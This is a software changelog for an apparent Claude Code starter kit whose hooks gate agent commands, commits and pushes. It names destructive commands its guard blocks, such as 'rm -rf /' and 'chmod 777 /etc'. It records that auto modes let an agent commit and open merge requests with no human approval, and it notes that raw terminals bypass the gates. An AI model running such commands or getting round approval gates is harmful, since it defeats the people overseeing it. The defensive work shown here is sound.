The second claim survived measurement but its stated CAUSE did not, so the text changed. git status -sb | Select-Object -First 1 does report failure after a successful commit — but not because of git, status, or commits. Taking the first N items stops the pipeline early and that alone sets the code: -Last 1, Out-String, ForEach-Object and Where-Object over the same output are all 0, while -First 1 fails after git log, after where.exe, after cmd /c, and after 1..5 — a producer containing no external process at all. The rule is about the operator. The value differs by vantage point: $LASTEXITCODE reads -1 inside PowerShell while the process exits 255 to its launcher, the low byte of the same number. A text that had kept the original explanation would have sent its reader to look at git.

Not changed — the Windows agent-tools report rested on a premise that does not hold

A field report asked for PowerShell in every agent’s tools: on win32, because a subagent had written that it “had no PowerShell tool and used Bash instead”. Measured on Windows 11: a separate PowerShell tool does exist, so the request is possible — and it is unnecessary. Bash there runs through Git Bash (uname -s = MINGW64_NT-10.0-26200, GNU bash 5.3.15), so an agent holding only Bash is not shell-less, which is the premise the report was built on.
The security question it raises answers itself: settings.json already matches Bash|PowerShell on PreToolUse, so adding the tool to an agent would not step around a gate — guard-bash.sh fires on PowerShell calls too, and the suite measures fifteen destructive PowerShell shapes being blocked. The README already states this. Nothing in the payload changed; the finding is that the report’s premise was wrong.
Still unmeasured, and recorded as such: that a subagent’s tools: list accepts the literal string PowerShell and the subagent receives it. Showing that needs a subagent spawned for the purpose.
sonarqube-check now separates restarting from installing. Bringing an already-approved service back up on the same image and volumes is resuming a yes that was already given — which the skill’s own advice to keep a named volume assumes. A new image, a new volume, or a tool the machine lacks is an install and still needs the answer.

[2.10.1] — 2026-09-12

Fixed — the npm page showed the Turkish README

After the 2.10.0 publish the registry’s page README was README.tr.md. The release step copied README.npm.md over README.md but left the other two READMEs in the checkout, and npm packs every root README.*. Run through npm 10.8.2’s own manifest preparation, the pick depended on directory order: two of four orders returned README.md. The step now leaves exactly one README. Smoke runs the step as written, requires it before npm publish and without a condition, and requires one README left, equal to README.npm.md.

Fixed — `--version` ran the installer

npx @byerlikaya/claude-starter-kit --version staged the payload, and start.sh answered “Unknown parameter: –version”; the Homebrew command failed the same way. npx … --version and -v now print the kit’s VERSION from bin/cli.js before anything is staged. start.sh and adopt.sh answer both flags before their own checks, so the Homebrew command and npx … update --version answer too, after staging the payload, and they do so with CDPATH exported.

Fixed — the release tarball depended on the machine that built it

bin/cli.js and the Studio’s .js, .py, .html and .css files had no eol pin: at 2.10.0, git archive with core.autocrlf=true changed 22 of the tarball’s 150 files. They are pinned, and smoke §14 fails on any unpinned text file in a shipped path (the tarball’s paths, npm’s files[], plugin/), naming up to five and giving the count. Measured with the same script on macOS and on Windows (git 2.55.0.windows.5, core.autocrlf=true from the system config): the tarball 22/150 → 0/150, the shipped paths 45/287 → 0/287.
Installs from npm, Homebrew and the release tarball are not affected: the published 2.10.0 npm package has no CR byte in any of its 156 files, nor the release tarball in its 150, and both are built on ubuntu-latest. A git-clone or plugin install made on Windows with core.autocrlf=true before the pins got CRLF copies of these files; no effect on the panel was measured. With the pins, these files are LF in an archive and in a fresh clone on either machine.
A clone made before the pins with core.autocrlf=true keeps 35 newly pinned files that this release does not modify CRLF on disk, with git status clean, until its index is rebuilt: in a clean working tree, git rm -r --cached . && git reset --hard brought that to 0 on macOS and on Windows.

Changed — the plugin edition is published with the approved release, not the merge

The marketplace entry installed from ./plugin on main, so the plugin edition went live when a release PR merged, before release.yml’s gates and its approval. It now installs from the plugin-stable branch through a git-subdir source. release.yml moves that branch to the tagged commit after the GitHub release and before npm, fast-forward only, and the update notice reads the plugin version from the same branch. A ruleset refuses force-pushes and deletion of the branch, with no bypass.
Measured in an isolated CLAUDE_CONFIG_DIR: an entry with a ref passes claude plugin validate --strict and installs that ref’s plugin exactly (2.10.0, 134 files), and a user installed from ./plugin at 2.9.0 moved to 2.10.0 when the entry switched. The release job’s own token moving the branch is first exercised by this release.

Fixed — docs: the plugin edition’s panel and the gate log

The Studio README and /doctor-csk said the plugin edition does not carry the Studio panel, and both READMEs listed it as just the agents, skills and gate hooks; it has carried the panel since 2.9.0. Both READMEs and /studio-csk also said a plugin install writes nothing the panel’s kit tabs read. On a plugin install the project’s row has no kit badge and the gates, stats and board tabs say “Not measured”, but the gates tab still lists the gate log: the plugin’s Bash guard and gate-file write guard write it when the project has a .claude/ directory and the file is git-ignored or the project is not a repo.
“Watching a gate fire” said the gate log is off unless CSK_GATE_LOG is set and records the command. It has been on by default since 2.5.0, the command is recorded only with CSK_GATE_LOG_CMD=1, and the commit scan and the board gate refuse without writing a line.

Fixed — gates: the site check and the Studio serve probe passed what they exist to catch

check-gh-pages.sh read the version and two counters, so the site said “39 skills” in three places and “7 commands” while the gate was green. It now reads the commands counter and every count written in the page’s text, in English and Turkish, including counts side by side, joined by  , or in description and title meta tags.
The Studio serve probe, which e2e runs, timed the project list after its own 1.5 s sleep, and its liveness check passed a list that had already finished, a panel whose event loop the read blocked when the read ended within 2 s of the health request, and a failed health request. It now times the list when its request resolves, fails when health does not answer 200 or answers only after a list that outlived the request by 2 s, and reports not applicable when a blocked loop and a free one look the same. Calibrated against a stand-in panel that holds its event loop or waits on a timer, and resets, hangs or fails its health endpoint.

Fixed — smoke: a CRLF checkout failed the budget gate as if prose had been added

The always-on byte budgets trip when the text that reaches every session grows, and a CRLF checkout grows them by one byte a line: the discipline half is 176 lines against a 50-byte margin, so the gate failed with “over budget” and sent the reader to the text. It now counts the carriage returns in the text it measured, which it cuts with head: Git Bash’s awk drops them as it reads. When the file is within budget without them, the failure says so and asks for a re-checkout rather than a budget edit: 12,376 > 12,250 bytes, 176 of them carriage returns, 12,200 with LF endings. A real overrun still reads “over budget”, with CRLF or without. Smoke checks three things on CRLF copies of the file: the carriage-return count covers exactly the measured lines, a copy whose text is exactly at the budget with LF endings is named as CRLF with its figures, and one a byte past the budget reads “over budget”. Not reachable in a fresh clone today: every .md is pinned, and a Windows clone with core.autocrlf=true measured CR 0.

Fixed — docs: the Windows panel stall is stated as measured

Comments and the probe’s printed text gave the Windows panel stall a frequency and a mechanism that were never measured. They now give the panel’s own figures (one synchronous 128 KiB tail read of 31,209 ms; /api/projects 33,391 ms while /api/health went unanswered for 312 of 324 pings) and, separately, what was measured later on that machine with no kit code running: a plain tail read of a freshly copied 25 MB transcript waited 63-65 s on 3 of 3 reads in one round and on none of 8 in a later one. What holds the file was not identified. This changelog’s 2.10.0 entry is corrected to match, and so is its 2.9.0 claim that a plugin install writes nothing into a project.

[2.10.0] — 2026-09-11

Changed — “tests green” is one run of the suite on the final code

“Tests green” was written into the discipline’s Definition of Done, into three agents’ DoD, into test-expert’s red-green line and into the reviewer’s “verify before you report”, and nothing said who runs the suite — so each layer ran it again on code nobody had touched. Before this change a small change ran its tests a median of 5 times a session: across nine sessions the implementing agent made 17 of the runs, the main thread 13, the reviewer 11.
It now means one run of the suite after the last edit, reported with the command, the exit code and the pass/fail counts. The main thread and the reviewer cite that report and run the suite again only after a further edit, or when the report has no exit code. Red-green — a failing test first — is unchanged.
Measured before it shipped, criteria hashed first, 18 sessions on three Node cases: test and build runs per session 4.44 → 2.22; the final code was tested in 9 of 9 sessions in both arms; checks 33 of 33 in both; the reviewer was still delegated in every session with the new text (8 of 9 with the old) and stopped re-running a suite that had just passed. Cost did not move on these small cases ($6.54 → $6.77), and the Definition of Done grew by 416 bytes, about 175 tokens a session.

Fixed — on the pure-bash tier a stock Windows install runs, a large command could outlast the hook’s 60 s timeout

The shared JSON parser was quadratic, and the 60 s hook timeout turned that into a fail-open. guard-bash.sh and guard-write.sh fall back to a pure-bash parser when neither jq nor python3 works — the path a stock Windows install takes, because its python3 is the Store redirector. It read one character at a time with a pattern as long as the rest of the payload. Measured on macOS with bash 3.2 and both tools shadowed by a stub that resolves and exits 49, the Store redirector’s shape, so the pure-bash tier runs: 4205 B took 59.0 s, 4405 B 67.9 s. A PreToolUse hook killed at its timeout emits no exit 2, so every §4.4 and §4.5 rule behind it was skipped. Across 6791 Bash calls in 280 real transcripts, 169 (2.49%) were over 4300 B, the size where it crossed the timeout on that machine; the crossing point was not re-measured on Git Bash.
The slice was still quadratic, and the key order decided how much. ${s#"$literal"} retries the pattern at every prefix length. On Git Bash 5.3.15, whole hook, sparse commands in the key order Claude Code 2.1.267 sends: 46.8 KB 4.35 s → 0.93 s, 100 KB 17.76 s → 1.58 s. guard-bash.sh’s header had described the opposite order and now shows the captured one; the parse’s result no longer depends on it.
The value is walked a chunk at a time, so an escape stops paying for the whole command: escape-dense 44 KB, whole hook on Git Bash, 5.36 s → 1.41 s.

Fixed — the commit-message trace scan was blind to a CRLF blocklist

pre-commit stripped a trailing \r from every pattern; commit-msg never did, and it is the gate that scans the message. The same blocklist saved LF rejected an authorship trailer (rc 1); saved CRLF — Git for Windows’ default with core.autocrlf=true — it accepted it (rc 0).
*.json is pinned in the kit’s own .gitattributes: on a Windows clone plugin.json and hooks.json reported modified forever while their blobs matched the index, so git status -- plugin there — the check the release’s plugin-sync gate runs — showed a diff that was not one. The pin applies at checkout: a clone made before it may show the two files modified once, with identical content, until they are checked out again (git checkout -- plugin/.claude-plugin/plugin.json plugin/hooks/hooks.json). A fresh clone is clean. VERSION is pinned to LF as well — a Windows checkout produced 2.9.0\r\n — and so are *.md and LICENSE. The release archive still depends on the machine that builds it: the Studio’s .js, .py, .html and .css files are not pinned, so an archive built with core.autocrlf=true differs from one built without it in all 22 of them. The published archive is built on Linux, by the release workflow.

Fixed — with a working jq, the transcript byte window never took effect

context-usage.sh bounds its read to the last 256 KiB. Where a working jq was installed, tail -c cut the window’s first line in half, jq aborted the whole stream on it, and the hook fell back to reading the whole transcript, up to its 200 MiB cap, on every prompt. Measured on macOS with a 45 MB transcript: 245 ms → 21 ms. The fill percentage it prints is now computed in shell arithmetic and rounds half up, so at an exact half it can read 0.1 higher than before.

Fixed — a path in the command refused a commit whose message was clean

Without a working interpreter the message extraction fell back to the whole command line, so a pathspec naming a blocked term refused a clean commit on a stock Windows install and not where python3 works. An interpreter-free extractor now answers when no interpreter works: 37 command shapes against an independent shlex reference — 33 byte-identical, 4 safe fallbacks, 0 mismatches. When it cannot parse with confidence, the over-inclusive fallback stands.
The same change removed guard-commit-scan.sh’s own sed | head | sed payload parser, and a command with no git in it no longer spends a process on whether it is a git commit. On Windows 11, Git Bash 5.3.15, no jq and python3 resolving to the Store redirector, ls -la: 7 processes / 0.757 s → 3 / 0.580 s.

Changed — `pre-commit`’s scans ask once whether anything can match

One decision per pattern class instead of one grep per pattern; the naming loop runs only when something matched, or when grep could not decide (rc 2 — one broken hand-edited pattern kills a joined alternation). Windows 11, Git Bash 5.3.15, pre-commit on 205 added lines: trace loop 0.621 s → 0.063 s, secret loop 0.572 s → 0.059 s. The blocklists’ own #test: and #test-clean: cases: 32 of 32 identical verdicts. The commit-message scan in commit-msg still checks one pattern at a time.

Fixed — two smoke gates could report green while broken

The block-equality gates named the two files of each pair, so a third carrier — guard-commit-scan.sh took the JSON parser — could drift unseen. The marker now decides the file list: at least two files, names printed, anchored so CSK-JSON-PARSER is not CSK-JSON-PARSE, and a copy that cannot be read is named in the failure. gj() now takes the payload’s key order as an argument and the verdicts are compared across both orders.

Fixed — `--dotnet` copied fine into a path where the build cannot run

MSYS cp is not bound by MAX_PATH; MSBuild is. On Windows 11 with LongPathsEnabled=0, the default, 1286 files copied to a 275-character path with rc 0, while a minimal console project whose paths crossed that limit failed to build: “the fully qualified file name must be less than 260 characters”. The usable limit is 259; the base’s deepest path is 156 characters and lands under ./backend/, so start.sh warns when the root exceeds 94 characters.

Fixed — Studio: the project list waited on a network call

/api/projects awaited the update feed before listing local data: ~350 ms → ~15 ms steady, and against a feed that accepts and never answers, 8.37 s → 0.25 s.

Fixed — Studio: a slow transcript read blocked the event loop

The panel read transcript tails synchronously on the request path. On one Windows machine a single 128 KiB tail read took 31,209 ms and the whole event loop waited with it: /api/health on its own connection went unanswered for 312 of 324 pings. The transcript reads are asynchronous now; the slow request still waits for its file, but /api/health answered 195 of 195 meanwhile.

Added — evals: rules in agent definitions, test runs, and no score for a run that did not happen

Arm kitb swaps in the rule under test: the discipline half of CSK_EVAL_DISCIPLINE_B, and files that replace installed ones under .claude/ from CSK_EVAL_OVERLAY_B (a path the install did not create is refused).
CSK_EVAL_TRACE=1 reads the event stream: delegation, cost, tokens, turns per thread, test and build runs in the main thread and subagents, and whether the final code was tested.
A run with an empty stream, an error result or a usage-limit rejection is NOT MEASURED and not graded; the limit stops the run and the runner exits 3. Measured the hard way: a limit hit in the second of nine sessions left seven untouched projects, and the previous runner graded them with the rest and reported 19 of 33 for the run. Cases may declare REQUIRES.
Nine cases (three low-risk, three high-risk, three Node test-run cases), and two measurements in evals/README.md: a risk-based delegation threshold (did not ship) and the test-run rule above (shipped).

[2.9.0] — 2026-09-09

Changed — Studio ships with the kit, and `/studio-csk` launches it

2.8.0 recorded the opposite decision, and it was true when it was written. A project that had adopted the kit then updated, ran the documented command and got ENOENT: it has no package.json, and nothing had ever installed the panel into it. A documented route that cannot work in the place it is documented for is a defect, so the exclusion is reversed.

Source moved to claude-starter/studio/. That directory is already the single definition of what ships — package.json files[], make-release.sh’s archive and whitelist, bin/cli.js’s staging list and the Homebrew formula all name it — so the npm tarball, the release tarball, the Homebrew bottle and npx pick the panel up with no edit to any of the four. At the repo root each of them would have been a separate place to remember, and a forgotten one fails silently.
Installed to .claude/studio/, the sixth directory beside agents, skills, commands, hooks and eval. start.sh copies it on a fresh install; adopt.sh force-refreshes it when the kit is already present, which is the path that carries it into the project that hit the ENOENT. test/ is not installed: its assertions read the repository — the root package.json and the payload beside it — which an installed project does not have. It lives in packaging/studio-test/. The installed diagnostic is node .claude/studio/server/index.js --selftest.
/studio-csk, the eleventh slash command. It resolves the panel, probes node --version rather than asking whether the name resolves, starts the server in the background and reports the tokenised URL whether or not a browser opened. It states what the panel’s scope actually is — every session in ~/.claude/projects, not this project’s — and it names --enable-pty’s cost in one sentence: a command typed into a raw shell reaches no PreToolUse hook, so guard-bash.sh is blind to it.
The plugin edition still carries no panel, and now says so instead of going quiet: a plugin install has no .claude/ tree to launch from, so /studio-csk ships there too and its first step names the installer. Same boundary /doctor-csk already documents for eval/.

Cost, measured rather than argued. The payload was 120 files / 977,845 bytes; it is now 148 files / 1,431,108 in the repository and 146 / 1,325,061 as installed, the difference being the two test files that do not ship into projects. That is +35% on disk and in every tarball. Session tokens are unaffected — the always-on budget is DISCIPLINE.md plus agent and skill frontmatter, and the panel is neither.

Fixed — the panel drew “no kit agents” and “unrecognised agents” identically

palette.js resolved the kit’s agents through <parent-of-studio>/claude-starter/agents. Anywhere but that one checkout the read failed, the catch returned an empty map, and all twelve kit agents fell to the neutral grey reserved for types nobody declared — indistinguishable from twelve unknown agents, which is the exact lie the panel’s own first honesty rule forbids.

One rule, no candidate list: <studio>/../agents, which is the payload directory in the repo, .claude/ in an install and the plugin root if it ever gets one. A two-candidate resolver would be a branch exercised in one layout and rotting in the other.
palette() now returns measured and, when false, the directory it looked in; the panel labels that rather than drawing neutral rings. The pin counts *.md in the payload agents directory in the same run instead of comparing against a constant, and the resolver is driven against three synthetic trees — install shape, repo shape, and neither.

Added — the kit fetches Node when the machine has none

The panel is the one component that needs a runtime, and the answer on a machine without one was “install Node 18+, then come back” — written into /studio-csk as an instruction never to offer more. .claude/studio/ensure-node.sh replaces it.

It looks where PATH cannot — nvm, fnm, volta, asdf and the usual system prefixes — because a version manager puts node on PATH from a login shell only, so “nvm is installed” and “this shell sees node” are different facts. And it runs what it finds: the Windows Store’s stub satisfies command -v, prints nothing and exits 49.
When there is genuinely none it fetches one: the current LTS from nodejs.org, verified against the published SHA-256, unpacked into ~/.claude/studio-runtime. No admin rights, no package manager, no PATH or profile edit; deleting that directory undoes everything. It asks first, and with no terminal and no --yes it prints what it would do and stops.
The release list comes from dist/index.tab, not index.json: the machine running this is by definition the one with no JSON parser to hand. dist/latest-lts/ does not exist — 404, checked rather than remembered.
The tool that verifies the download is itself verified. Each candidate hash tool is run against sha256("abc") and the first one that gets it right is used; if all four lie, nothing is installed. They print the digest in three different places, two append CR, and three echo the path they were handed — so a file under a 64-hex directory had its own path read as the digest.
A path too long for the fallback is refused before the download. PowerShell’s Expand-Archive enforces Windows’ 260-character cap and unzip does not: measured, a 141-character target failed after 17 seconds with nothing extracted where unzip finished in 3. The default install path is well inside the budget; a redirected CSK_STUDIO_RUNTIME or a relocated profile is what runs out.
Four disclosure points say so when Node is missing: preflight.sh, the installers’ closing lines, the adopt component table, and doctor.sh’s verdict.

30 of the suite’s cases cover it, fourteen pinned by mutation. Five defects it caught were in code that read correctly, and four of those came from measurements on a real Windows machine rather than from reasoning: [ -r /dev/tty ] is true where the process cannot open it; Info-ZIP returns 1 for “extracted, with warnings”; Expand-Archive rejects a POSIX path and cygpath -w can hand back a relative one; and the path-collision above.

Fixed — closing the console left the panel’s owned sessions running

SIGHUP was never listened for, so shutting the terminal window ended the panel and left every session it had spawned alive. It is handled now. The check that should have caught it accepted two different facts as one: POSIX exits 0 because the handler ran, Windows reports signal SIGTERM, which is the process being terminated with no handler at all. Split, with Windows marked not-applicable — one process cannot send another a signal there, so the graceful path is not drivable from a test.

Added — the plugin edition carries the panel too

Studio shipped in three of four channels. The fourth was left out on an assumption rather than a constraint: a plugin install has no .claude/ tree, so it looked as though it had nowhere to run the panel from. It does not need one — palette.js resolves the kit’s agents with a single <panel>/../agents rule, and a plugin root has agents/ sitting right there. No panel code changed.

/claude-starter-kit:studio-csk opens it. Plugin commands are namespaced, so the bare name does not resolve there; both READMEs say so.
One command file serves both editions. ${CLAUDE_PLUGIN_ROOT} is substituted into a command body — measured, and only in its braced form; the unbraced name passes through as text and the variable is absent from the Bash tool’s environment. The command reads its own substituted line: a real path means plugin, an unsubstituted placeholder means full install.
A fetched Node runtime still lands under $HOME. A marketplace install resolves to a versioned cache directory, so a runtime kept inside the plugin would be discarded and re-fetched, 36 MB at a time, on every update. That is a different thing from a plugin writing kit files into ~/.claude, which was ruled out: this is a consented, self-contained cache that an update never touches.
Gated rather than assumed. The build fails if the panel did not land; verify.sh requires the plugin copy to exist and to be byte-identical to the payload; the serve probe now takes the directory containing studio/, so the same nine checks drive both layouts and e2e drives both on every platform CI covers; selfcheck pins the plugin layout, which the palette rule had claimed in a comment and demonstrated in no test.
One gate was blind. The release-time sync check compared plugin/ with git diff, which does not see new files — measured: with the panel present and untracked it exits 0. The plugin could have shipped with the panel absent and the gate green. It asks git status now.

The honest gap is stated up front rather than left to be discovered: a plugin user’s kit-telemetry panes read the project the panel was opened from, and a plugin install puts no kit files into a project, so they report “not measured” with the reason instead of a misleading zero. The gate log is the exception: the plugin’s guards can append to it too, and the panel lists what it observed.

Fixed — the Stop gate failed on every session that had not been compacted

grep -c prints 0 and exits 1 when nothing matches, so $(grep -c … || echo 0) fired the fallback too and the value became 0\n0. The arithmetic on the next line then failed, the count kept its broken value, and a newline reached a marker filename. The effect: the Stop hook errored on every transcript with no compaction in it — which is every fresh session — so the 75%/90% context warning, the reason the hook exists, likely never fired until the first compaction.

Present in 2.8.0 and not platform-specific; it was invisible because the error goes to stderr and does not stop the hook. The same pattern is fixed in gate-report.sh, where the broken value was being handed to awk and would have corrupted the JSON output on an empty inventory.

Two cases pin it, in both directions — no compaction and a compaction present — because a fix that silenced everything would have satisfied the first alone. Found by reading a real session transcript while measuring something else; no suite could have caught it, since the evidence was the thing being discarded.

Changed — gates

verify.sh studio treats a missing claude-starter/studio/ as a failure, not a skip. It was a skip while the panel was optional; a skip is yellow locally and a botched move would have gone unread.
The slash-command count in both READMEs is now gated the way the hook count is, and every shipped command must be named beside it. That number was hand-written and this class has drifted before.
selfcheck.js’s boundary pin is inverted rather than deleted: it now fails if the panel leaves the payload, if files[] stops shipping claude-starter/, or if package.json’s "type": "module" — which the whole ESM server depends on — goes missing from the installed tree.

[2.8.0] - 2026-09-08

Added — a panel, so a run is something you can watch rather than reconstruct

CSK Studio (studio/). A local panel that draws the delegation while it happens: one node per agent, read from the transcript tree on disk and re-checked on a size signature every 700 ms. Dashes travel from parent to child along every edge whose child is working, coloured from the child’s own card, so a branch is traceable by colour and a stalled one is visibly still.
Sessions the panel drives. claude -p in stream-json over the child’s stdin and stdout, with the conversation beside the graph. Continuing an existing session is a bare --resume when no process holds it — same id, same transcript, measured — and a fork when one does, because two writers on one transcript corrupt it.
A permission bridge that fails closed. A PreToolUse hook injected through the panel’s own settings file, matching *, so no tool is exempt. It answers at 45 s against the harness’s 90 s and treats silence as a denial: a panel that is closed does not become permission. Permission modes are an allow-list, and a pin fails the suite if the word bypassPermissions ever appears under studio/.
Raw terminals, off unless asked for, over python3’s stdlib pty. They bypass every gate in the kit and the panel says so on screen rather than leaving it to be discovered.

Studio is not part of what users install. start.sh creates five directories under .claude/ and none of them is Studio’s; the npm tarball, the plugin edition, the Homebrew formula and the release tarball all exclude it. Zero npm dependencies, loopback only, a per-run token on every API path.

Added — `verify.sh studio`

A seventh gate, wired into the ubuntu job only (verify-cross installs no node). 232 assertions, hermetic: an earlier version read this machine’s own gitignored gate log and scored 159/163 on a clean checkout, which is a gate that is green for its author and red for everyone else.

Fixed — four defects the panel work uncovered in the kit’s own README

Always-on size was published as ~24 KB against a measured 26,540 bytes, and its token figure as ~10k against about 11k. Description cost was ~3.3k tokens against 14,756 bytes, about 6.2k. The saving from dropping the four UI skills was ~400 tokens against 1,544 bytes, roughly 650.
“Every install is the same install — all 12 agents and all 40 skills” was false for --generic, which leaves out devarch-module and installs 39.
README.npm.md claimed 39 skills against a payload of 40, unchecked by any gate.

Removed — `FIRST_PROMPT.md`

All three READMEs told the reader to paste it as their first Claude Code message, and two of the four install paths never created it: adopt.sh did not copy it and the plugin edition does not carry it. Most of its content was the discipline that already loads every session; the one thing it added — confirming the install is sound — /doctor-csk does mechanically, on every path. The READMEs now point there.

The updater adds and refreshes but does not prune, so an install made before this release keeps its copy of .claude/FIRST_PROMPT.md. Nothing reads it; delete it when convenient.

Changed

The team board is out of both READMEs pending its own rework. The two hook rows stay, because the suite requires every shipped hook to be named in both files.
npm run studio no longer turns on gate-free terminals behind the user’s back; that moved to npm run studio:pty.
The agent table drops its Model column for a sentence: models are not pinned, two exceptions earn their keep, and any of it can be changed in the agent’s frontmatter.
The Turkish README had a full editorial pass — 46 em dashes removed, sixteen passages recast.

[2.7.2] - 2026-08-27

One behaviour change, taken deliberately and with a cost, plus the rule and the test that had drifted around it.

Changed — §4.4 now holds in the modes where it was only being logged

A prompt answered by software is not approval. §4.4 has said since the first release that a commit or a push does not happen without the user. In auto and dontAsk it happened anyway: the hook returned ask, the prompt was raised — and answered by the auto-mode classifier, or by nothing at all in the mode that asks nothing by definition. Measured in two unrelated repositories: 14 ASK §4.4 lines in one gate log and 20 in the other, every one followed by the commit going through, and no human keypress behind any of them. The gate fired, logged itself, and stopped nothing. DISCIPLINE.md meanwhile promised “an approval prompt only the user can answer”, so users were relying on a guarantee the code did not provide — one session leaned on it and made 14 commits and 7 merge requests without ever being asked.

auto and dontAsk now sit in the fail-closed branch with plan and bypassPermissions. Only default and acceptEdits put the prompt in front of a person, and only they get an ask. Everywhere else the hook exits 2 and the command has to be presented for a real yes — after which you switch mode, export CLAUDE_GIT_OK=1, or run it yourself. Verified across all seven modes, and the key still does not open §4.5: a --force push is refused with it set.

The cost is real and deliberate. Auto mode is the default on Pro/Max/Team, so committing there now takes an explicit step. That is the trade the rule always described: a gate whose prompt is answered by the thing it is gating is not a gate.
git commit -F msg.txt; git push was refused as a force push. The flag scan was case-insensitive, so the -F of a commit matched the -f of a push. Reproduced independently in two repositories.

Fixed

The discipline document contradicted itself, and both readings were defensible. One section said a subagent’s diff is reviewed “whatever its size”, another said “not by default”. A session applied the first in eight turns and the second in three, and could have justified either. There is now one rule, and it is keyed on risk: work that changes behaviour, and a subagent’s diff, go to their owner.
A suite case pinned the old classification where it could never report the change. The assertion that a commit message carrying a tab, an escaped quote and a Windows path survives into the §4.4 ask is a parsing test; its mode was incidental and happened to be auto. Three siblings were moved to default when that branch changed and this one was missed — because it only runs where a JSON oracle exists, and on the machine where the change was made there is none (jq absent, python3 the Store stub). It stayed silent there and failed on the other machine. Five cases in total were rewritten rather than deleted: the ones testing parsing moved mode, and the one testing policy became four assertions where there had been one blanket claim.

[2.7.1] - 2026-08-27

Four fixes, all found by sessions doing real work in real projects rather than by the suite. The first one reached a user’s agent; the rest are gates that fired on the wrong thing, or a proof that accused a gate that was working.

Fixed

A project installed as --generic could come back from a refresh as .NET. kit.conf rewritten to stack=dotnet, devarch-module installed, and backend-expert-csk replaced by the .NET variant — so the agent was then holding a backend pattern the project does not use. Noticed on a repo laid out WebAPI/Business/DataAccess with no DevArchitecture in it anywhere. The correction itself exists for a real case (a stale generic from the old root-only sniff on a project that really is DevArchitecture); the bug was the gate on it: [ ! -t 0 ] || ask_yes … — no tty meant yes — sitting directly under a comment promising “never flip silently”. Every agent-driven and CI update runs without a tty, so the silent branch was the only one they ever took. Present since 1.1.8 — and the test that canonised it landed the SAME DAY, so both shipped green in 36 tagged releases. It fired now because that repo grew a Business/ folder and a .sln. Changing a recorded choice now needs a person or CSK_CORRECT_STACK=1; not-asking is not consent, and the fail-safe direction is to keep what is written down — the rule §4.4 already applies to commit approval. The mismatch is still reported on every run.
The test demanded that bug. packaging/e2e.sh ran the refresh with --yes and no tty, then asserted stack=dotnet — requiring a recorded choice to be overruled where nobody could be asked, and staying green through five releases while doing it. Its fixture even built DevArchitecture.sln, the shape where flipping IS right, so the ambiguous shape that actually broke was never a fixture. It now asserts both halves, and the missing half is the first: with nobody to ask the record stands, devarch-module is not installed and the agent is not rewritten.
A generic project could keep devarch-module anyway, and the wrong routing arrived by a second path. Excluding the skill from the copy is not the same as removing one already on disk, so a refresh that correctly recorded stack=generic left the skill installed — and kit_infer_shape reads the stack back OUT of that very directory when kit.conf is missing, route-hint scores it, and it shows in the session’s skill list. Measured on the affected repo: a turn opened with “Use the devarch-module skill for this task” after the backend agent had already been put right. start.sh --generic has always deleted it; a refresh now agrees, and a recorded dotnet still keeps it.
The DevArchitecture warning described a condition the code does not use. It said “Business/Handlers + a .sln” where the detection is an OR — either signal alone sets it. The repo that hit this has no .sln at all, so the user went looking for one, did not find it, and read the warning as a false positive.
.slnx was invisible to the .NET detection. -name '*.sln' does not match .slnx, the newer XML solution format, and neither did the DevArchitecture branch’s -iname 'devarchitecture.sln'. A repo carrying only a .slnx — with its .csproj files below the depth the scan reaches — came out STACK=unknown and fell to generic, which is the exact class of miss the surrounding code was written to close, in a format that did not exist when it was written. Both globs now end in sln*, and start.sh’s greenfield check with them.
PROOF-1 accused a gate that was working. The installer stages a probe file carrying an AI trace and checks the trace scan blocks it — with a plain git add, so a project whose .gitignore covers that name staged nothing, the scanner read an empty diff, the hook exited 0, and the installer printed “the trace scan LET THROUGH the AI trace”. Reproduced with three identical repos differing only by one .gitignore line. Now -f, and the staging is verified before anything is concluded; where it still cannot be staged the proof says it measured nothing rather than reporting a result it did not obtain.
A -f at someone else’s quoting level is not this git add’s. 2.7.0 bounded the scan to the span between git add and the next command separator, which stops at ; but not at a quote — so a command carrying a second, quoted copy of itself donated its rm -f forward. That shape is almost exclusively a script testing this guard, which is the worst thing to block: a false positive that obstructs its own diagnosis. Adding the quote characters to the excluded class was measured and rejected, because it turns a narrow false positive into a narrow false NEGATIVE (git add "spaced name.txt" -f would stop being seen). The discriminator is quote BALANCE, not presence, and the walk is case plus parameter expansion so this hook’s per-call fork count stays at 0.
The discipline and the installer said different things about co-author trailers. §4.1 forbade one outright while adopt.sh offers an exemption to a project that already signs (a DCO Signed-off-by, a pairing convention). Both were deliberate; only one was written down. Measured on commit-msg in both directions: with the allowlist the trailer passes, without it the same line is blocked and a clean message still passes. The clause in §4.1 is short because DISCIPLINE.md is byte-budgeted and had 39 bytes of headroom; the full explanation lives in adopt.sh’s output, where it is read at the moment it matters.
The route-hint cost gate’s stdin case had a macOS budget. 8 s, against a measured 12.7 s cold and 2.17 s warm on Windows (2.06 s on macOS) — it passed only once the machine had warmed up. Raised to 40 s.

Not changed — the measurement said otherwise

The installer still writes no .gitattributes, and that is now a decision rather than an oversight. The worry was that a team sharing .claude/ would get CRLF hooks on a Windows checkout and every hook would die with $'\r': command not found. Measured: with core.autocrlf=true, committing .claude/ and re-cloning does bring back 14 of 14 hooks as CRLF — the premise is real — but on Git for Windows 2.55.0 they run anyway: rm -rf /, git push --force and chmod 777 /etc all still block, and pre-commit still catches a staged AI trace. The consequence half does not hold, so no code was written for it.

[2.7.0] - 2026-08-26

Fixed

A commit could freeze and leave the repository locked, and the gate was the reason. pre-commit used trap '<cleanup>' EXIT INT TERM, which looks like it handles all three. It does not: bash returns to the script after a signal handler that does not itself exit, so a TERM deleted the temporary files the hook was still reading and let it carry on, printing grep: /tmp/tmp.X: No such file or directory for the rest of the run. Measured: after a TERM the hook exited 0, and a process a signal actually stopped cannot exit 0. That is the whole freeze — a wrapper times out and sends TERM, the hook ignores it, git keeps running, .git/index.lock stays behind, and every later git command fails with “Another git process seems to be running”, a message that names nothing about the cause. One session hit that loop three times. Signals now exit 143; EXIT still cleans up.
git add -f was matched across the whole command string, so git add a b && git commit -q -F - — the ordinary way to write a commit — was refused, along with rm -f .git/index.lock; git add x. The scan is now bounded to the text between git add and the next command separator, and is case-sensitive: -F is a commit/tag flag and never an add flag.
Reading a setting was treated as tampering. git config --get core.hooksPath is how a person checks the gate is armed; only the write forms disarm it.
The gate-file tamper rule matched mid-word. Its verb list contains ex and carried no leading word boundary, so grep -c update-index .claude/hooks/guard-bash.sh matched the ex inside index and a read-only grep was refused — the same defect as the git add one: a pattern never anchored to a command position.
